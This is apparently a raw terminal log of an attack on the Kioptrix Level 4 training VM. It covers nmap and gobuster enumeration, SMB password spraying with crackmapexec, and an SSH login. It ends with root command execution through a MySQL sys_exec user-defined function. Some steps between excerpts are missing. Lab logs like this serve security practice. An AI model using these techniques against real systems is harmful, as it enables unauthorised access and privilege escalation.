Starting Nmap 7.95 ( <https://nmap.org> ) at 2026-04-09 18:02 MDT
Nmap scan report for 10.0.1.105
Host is up (0.00045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: BC:24:11:30:0C:F2 (Proxmox Server Solutions GmbH)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2026-04-09T20:03:01-04:00
|_clock-skew: mean: 1h59m58s, deviation: 2h49m42s, median: -1s
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
TRACEROUTE
HOP RTT ADDRESS
1 0.45 ms 10.0.1.105
OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 28.13 seconds
┌──(kali㉿kali-attacker-0)-[~/BOXES/Kioptrix/Lvl4]
└─$ gobuster dir -u <http://10.0.1.105/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://10.0.1.105/>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 348] [--> <http://10.0.1.105/images/>]
/index (Status: 200) [Size: 1255]
/member (Status: 302) [Size: 220] [--> index.php]
/logout (Status: 302) [Size: 0] [--> index.php]
/john (Status: 301) [Size: 346] [--> <http://10.0.1.105/john/>]
/robert (Status: 301) [Size: 348] [--> <http://10.0.1.105/robert/>]
Progress: 87662 / 87662 (100.00%)
===============================================================
Finished
===============================================================
┌──(kali㉿kali-attacker-0)-[~/BOXES/Kioptrix/Lvl4]
└─$ crackmapexec smb 10.0.1.105 -u userlist.txt -p 'ADGAdsafdfwt4gadfga==' --local-auth --continue-on-success
SMB 10.0.1.105 445 KIOPTRIX4 [*] Unix (name:KIOPTRIX4) (domain:KIOPTRIX4) (signing:False) (SMBv1:True)
SMB 10.0.1.105 445 KIOPTRIX4 [-] KIOPTRIX4\\nobody:ADGAdsafdfwt4gadfga== STATUS_LOGON_FAILURE
SMB 10.0.1.105 445 KIOPTRIX4 [+] KIOPTRIX4\\robert:ADGAdsafdfwt4gadfga==
SMB 10.0.1.105 445 KIOPTRIX4 [-] KIOPTRIX4\\root:ADGAdsafdfwt4gadfga== STATUS_LOGON_FAILURE
SMB 10.0.1.105 445 KIOPTRIX4 [-] KIOPTRIX4\\john:ADGAdsafdfwt4gadfga== STATUS_LOGON_FAILURE
SMB 10.0.1.105 445 KIOPTRIX4 [-] KIOPTRIX4\\loneferret:ADGAdsafdfwt4gadfga== STATUS_LOGON_FAILURE
┌──(kali㉿kali-attacker-0)-[~/BOXES/Kioptrix/Lvl4]
└─$ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 \\
-oHostKeyAlgorithms=+ssh-rsa \\
-oPubkeyAcceptedAlgorithms=+ssh-rsa \\
robert@10.0.1.105
The authenticity of host '10.0.1.105 (10.0.1.105)' can't be established.
RSA key fingerprint is: SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.1.105' (RSA) to the list of known hosts.
robert@10.0.1.105's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
robert:~$
robert@Kioptrix4:~$ grep -i "password" /var/* -r 2>/dev/null | tail -n 20
/var/www/checklogin.php:mysql_connect("$host", "$username", "$password")or die("cannot connect");
/var/www/checklogin.php:// Define $myusername and $mypassword
/var/www/checklogin.php:$mypassword=$_POST['mypassword'];
/var/www/checklogin.php://$mypassword = stripslashes($mypassword);
/var/www/checklogin.php://$mypassword = mysql_real_escape_string($mypassword);
/var/www/checklogin.php://$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
/var/www/checklogin.php:$result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'");
/var/www/checklogin.php:// If result matched $myusername and $mypassword, table row must be 1 row
/var/www/checklogin.php:// Register $myusername, $mypassword and redirect to file "login_success.php"
/var/www/checklogin.php: session_register("mypassword");
/var/www/checklogin.php:echo "Wrong Username or Password";
/var/www/database.sql:`password` varchar(65) NOT NULL default '',
/var/www/robert/robert.php:$password=""; // Mysql password
/var/www/robert/robert.php:mysql_connect("$host", "$username", "$password")or die("cannot connect");
/var/www/robert/robert.php:// If result matched $myusername and $mypassword, table row must be 1 row
/var/www/robert/robert.php: <td width="30">Password</td>
/var/www/john/john.php:$password=""; // Mysql password
/var/www/john/john.php:mysql_connect("$host", "$username", "$password")or die("cannot connect");
/var/www/john/john.php:// If result matched $myusername and $mypassword, table row must be 1 row
/var/www/john/john.php: <td width="30">Password</td>
john@Kioptrix4:/var/www/john$ mysql -h localhost -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \\g.
Your MySQL connection id is 33
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\\h' for help. Type '\\c' to clear the buffer.
mysql> \\! whoami
john
mysql> select current_user();
+----------------+
| current_user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select * from mysql.func;
+-----------------------+-----+---------------------+----------+
| name | ret | dl | type |
+-----------------------+-----+---------------------+----------+
| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function |
| sys_exec | 0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
2 rows in set (0.00 sec)
mysql> select sys_exec('touch /tmp/test1');
+------------------------------+
| sys_exec('touch /tmp/test1') |
+------------------------------+
| NULL |
+------------------------------+
1 row in set (0.00 sec)
mysql> \\! ls -la /tmp/test1
-rw-rw---- 1 root root 0 2026-04-09 22:39 /tmp/test1
root@Kioptrix4:~# cat congrats.txt
Congratulations!
You've got root.
There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.
It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.
If you haven't already, check out the other VMs available on:
www.kioptrix.com
Thanks for playing,
loneferret